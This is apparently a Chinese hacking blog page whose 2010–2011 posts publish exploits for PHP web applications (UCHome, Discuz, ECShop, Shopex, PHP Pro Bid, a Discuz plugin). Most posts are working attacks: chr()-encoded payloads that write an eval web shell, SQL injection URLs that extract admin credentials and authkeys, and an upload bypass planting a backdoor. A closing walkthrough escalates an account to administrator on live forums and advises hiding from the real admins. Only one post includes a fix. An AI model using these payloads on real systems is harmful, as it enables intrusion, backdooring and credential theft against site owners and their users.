显示标签为“脚本漏洞”的博文。显示所有博文
显示标签为“脚本漏洞”的博文。显示所有博文

2011年11月19日星期六

【原创】UCHOME 2.0 后台GET Shell

UCHOME 2.0 后台GET Shell

还记得陆羽那个UCHOME 2.0 后台GET Shell吧?
官方真的修复了吗?下面我们来看看代码

js.php
$s = array("/(\r|\n)/", "/\.+?\<\/div\>/is", "/\s+(href|src)=\"(.+?)\"/ie");
$r = array("\n", '', "js_mkurl('\\1', '\\2')"); //官方修复这里,使用单引号闭合, 貌似完美修复
但其实这个js.php还有一处存在漏洞,就在旧漏洞的前几行,非常明显
include template("data/blocktpl/$id"); //就是这里,直接include

$obcontent = ob_get_contents();
obclean();

$s = array("/(\r|\n)/", "/\.+?\<\/div\>/is", "/\s+(href|src)=\"(.+?)\"/ie");
$r = array("\n", '', "js_mkurl('\\1', '\\2')"); //官方修复这里,使用单引号闭合, 貌似完美修复
漏洞利用:
步骤和路羽的一样
1. admincp.php?ac=block&op=add 添加一个新模块
2. 数据显示Html代码处使用闭合数据:
<php eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))>
3. 保存后检查一下ID,如果ID是1,则访问一下js.php?id=1
4. 访问后data 目录下多出了一个a.php

2011年1月23日星期日

【原创】UCenter Home 2.0 鸡叻 SQL 注入

uc_home 2.0 在magic_quote_gpc off 的环境下只对参数值进行过滤,忽略了参数名
function_common.php
//SQL ADDSLASHES
function saddslashes($string) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = saddslashes($val); //只过滤参数值
}
} else {
$string = addslashes($string);
}
return $string;
}

cp_profile.php 大约56行
//隐私
$inserts = array();
foreach ($_POST['friend'] as $key => $value) {
$value = intval($value);
$inserts[] = "('base','$key','$space[uid]','$value')"; //$key 未没过滤
}
if($inserts) {
$_SGLOBAL['db']->query("DELETE FROM ".tname('spaceinfo')." WHERE uid='$space[uid]' AND type='base'");
$_SGLOBAL['db']->query("INSERT INTO ".tname('spaceinfo')." (type,subtype,uid,friend)
VALUES ".implode(',', $inserts)); //这里出现注入漏洞
}

Exploit:
要求: magic_quote_gpc off
URL: cp.php?ac=profile&op=base

保存时创建一个POST,参数名为:
friend[a',(select 1 from(select count(*),concat((Select concat(substring(authkey,1,64)) FROM uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a),'1')#]
参数值: 随意

这里我使用火狐的tamper实时添加POST


得到 uchome的 authkey





然后你懂的

2010年10月19日星期二

【原创】Discuz非创始人管理员代码执行

global.func.php
function sendpm($toid, $subject, $message, $fromid = '') {
        if($fromid === '') {
                require_once DISCUZ_ROOT.'./uc_client/client.php';
                $fromid = $discuz_uid;
        }
        if($fromid) {
                uc_pm_send($fromid, $toid, $subject, $message);
        } else {
                global $promptkeys;
                if(in_array($subject, $promptkeys)) {
                        $type = $subject;
                } else {
                        extract($GLOBALS, EXTR_SKIP);
                        require_once DISCUZ_ROOT.'./include/discuzcode.func.php';
                        eval("\$message = addslashes(\"".$message."\");"); //无过滤,可插入代码
                        $type = 'systempm';
                        $message = '
'.$subject.' {time}'.discuzcode($message, 1, 0).'
';
                }
                sendnotice($toid, $message, $type);
        }
}
POC:
1. admincp.php?frames=yes&action=members&operation=newsletter
2. 发短消息,通知内容为:{${phpinfo()}}

EXP - (fputs(fopen('forumdata/cache/cache_01.php','w'),'');) :
{${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(95).chr(48).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}

2010年10月5日星期二

ecshop 通杀2.6*2.7 GBK版本 0DAY修改版

“俺是农村娃”丢出了个Ecshop 2.6*2.7 GBK版本漏洞,稍微修改了Exp,更简单快捷了
http://localhost/ecshop/api/checkorder.php?username=%ce%27%20and%201=2%20union%20select%201%20and%20%28select%201%20from%28select%20count%28*%29,concat%28%28Select%20concat%280x5b,user_name,0x3a,password,0x5d%29%20FROM%20ecs_admin_user%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20%23

2010年8月24日星期二

【原创】一点也不鸡叻的 ecshop lib_common.php 注入

昨天无意间读到 http://www.packetstormsecurity.o ... d-SQL-Injection.txt,发现原来可以这样注入:
MySQL >= 5.0 :
执行
select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
或
select 1 and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
会报错:
Duplicate entry '5.1.30-community1' for key 'group_key'

MySQL < 5 :
执行
select 1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1);
数次后会报错:
Duplicate entry '4.1.22-community-nt:1' for key 1

正好解决了ecshop最新的漏洞


无礼包限制
影响版本:ecshop >= 2.7.0影响版本:ecshop >= 2.7.0

下载package.zip

2010年6月4日星期五

2010年5月19日星期三

【原创】ECSHOP search.php exp 变种

基于 http://www.t00ls.net/redirect-7563.html  的变种exp~~
search.php?encode=YToxOntzOjQ6ImF0dHIiO2E6MTp7czoxMjU6IjEnKSBhbmQgMT0yIEdST1VQIEJZIGdvb2RzX2lkIHVuaW9uIGFsbCBzZWxlY3QgY29uY2F0KHVzZXJfbmFtZSwweDNhLHBhc3N3b3JkLCciXCcpIHVuaW9uIHNlbGVjdCAxIyInKSwxIGZyb20gZWNzX2FkbWluX3VzZXIjIjtzOjE6IjEiO319

2010年4月26日星期一

【原创】Shopex V4.8.4 V4.8.5 后台拿Shell 0Days

2010年4月25号 10:42am T00ls 首发
作者:alibaba

ctl.template.php :
function saveContent(){
if(strtolower(substr($_POST['file'],-4,4))=='.php') $_POST['file']='index.html';//只验证最后4位数
$this->begin('index.php?ctl=system/template&act=edit&p[0]='.$_POST['theme']);
$o = $this->system->loadModel('system/template');
$template=array(
'tpl_name'=>$_POST['file_name'],
'tpl_file'=>$_POST['file'],
'tpl_theme'=>$_POST['theme'],
'tpl_type'=>$_POST['type']
);

利用方法:
构造一个上传页面, 提交文件后缀为 .php5(linux) 或在 .php 后面加上一个空格(windows)就能绕过验证
这里附上4.8.4 及 4.8.5 两个不同版本的上传页面:
484-485.zip
成功上传后生成一句话后门 - http://站点/home/cache/t00ls-1.php5

2010年1月22日星期五

【原创】PHP Pro Bid 6.03 SQL Injection

版本:PHP Pro Bid 6.03

一个老旧PHP拍卖程序,目前最新版本是6.06。直接看代码:

auction_details.php:
$template->set('msg_changes_saved', $msg_changes_saved);
$item_details['quantity'] = $item->set_quantity($item_details['quantity']);
$custom_fld->save_edit_vars($item_details['owner_id'], $page_handle);
$media_details = $item->get_media_values($_REQUEST['auction_id']);//没有过滤
$item_details['ad_image'] = $media_details['ad_image'];
$item_details['ad_video'] = $media_details['ad_video'];
$template->set('item_details', $item_details);
$template->set('buyout_only', $item->buyout_only($item_details));

includes/class_item.php:
function get_media_values($auction_id, $wanted_ad = false)
{
$output = array('auction_id' => $auction_id, 'ad_image' => null, 'ad_video' => null);
(int) $counter_image = 0;
(int) $counter_video = 0;

$field_type = ($wanted_ad) ? 'wanted_ad_id' : 'auction_id';

//这里就是我们要注入的地方,由于回显是图片,所以media_type必须为1
$sql_select_media = $this->query("SELECT media_url, media_type FROM " . DB_PREFIX ."auction_media WHERE
" . $field_type . "=" . $auction_id . " AND upload_in_progress=0 ORDER BY media_id ASC");
while($media_details = $this->fetch_array($sql_select_media))
{
if ($media_details['media_type'] == 1) // 1 是图片
{
$output['ad_image'][$counter_image++] = $media_details['media_url'];
}
else if ($media_details['media_type'] == 2) // video
{
$output['ad_video'][$counter_video++] = $media_details['media_url'];
}
}
return $output;
}

利用方法:
auction_details.php?name=物品名称& auction_id=物品ID and 1=2 union select concat(username,0x3a,password,0x3a),1 from probid_admins--

Image is broken 的路径包含了管理员账号和密码


这个系统,管理员密码只是用普通的md5加密,但是会员密码却是用md5(md5($password) . $salt)加密,实在令人不解


修复方法:
把auction_details.php的
$media_details = $item->get_media_values($_REQUEST['auction_id']);

修改为
$media_details = $item->get_media_values(intval($_REQUEST['auction_id']));

2010年1月15日星期五

一个很久的discuz插件漏洞,但马来西亚还有很多论坛使用

插件:黑道生涯
影响版本:2009年8月以前版本都存在此漏洞
漏洞危害:提权成管理员

这是个很久之前的漏洞了,不过马来西亚仍然还有很多论坛没有更新修复此插件的漏洞(至少20个论坛),就发出来分享分享

漏洞利用:
1。先确定黑道生涯的版本,只要是2009年8月1号以前的版本就能
2。注册一个论坛帐号,然后登陆
3。然后打开黑道生涯页面,点击我要加入,之后点击开始黑道生涯
4。按打劫,然后打勾 随机抽取会员目标 ,按提交按钮
5。然后看打劫成功,体力一定要少过100,如果体力是100就继续打劫,直到体力小于100
6。在你的browser address bar (体力必须低于100)打上 http://目标网址 /blackband.php?mode=yule&action=enjoy&id=2 and 1=2 union select 1,0x2D312C67726F757069643D312C61646D696E69643D31,3,4
7。到这里你已经是论坛管理员,可以登陆后台作你想要的事了,在这里最好马上换去隐身状态,以免被其他管理员发现
8。如果要还原为普通用户,在你的browser address bar (体力必须低于100)打上 http://目标网址 /blackband.php?mode=yule&action=enjoy&id=2 and 1=2 union select 1,0x2d312c67726f757069643d31302c61646d696e69643d3130,3,4